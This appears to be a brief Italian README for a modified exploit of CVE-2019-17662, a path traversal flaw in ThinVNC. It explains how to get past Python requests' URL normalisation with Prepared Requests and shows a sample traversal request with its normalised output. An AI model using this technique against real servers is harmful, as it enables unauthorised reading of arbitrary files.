
Exploit per CVE-2019-17662, una vulnerabilità di path traversal in ThinVNC, che dimostra il bypass della normalizzazione URL per accedere a file arbitrari sul server di destinazione.
Codice CVE modificato
Utilizzato Prepared Requests, poiché nel modulo requests di python3 il ../ viene normalizzato nell'URL, ad esempio:
Per il codice:
r = requests.get("http://123.123.123.123/../../../../../../test")
print(str(r.status_code))
Risultato:
GET /test HTTP/1.1
Host: 123.123.123.123
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Exploit originale:
https://www.exploit-db.com/exploits/47519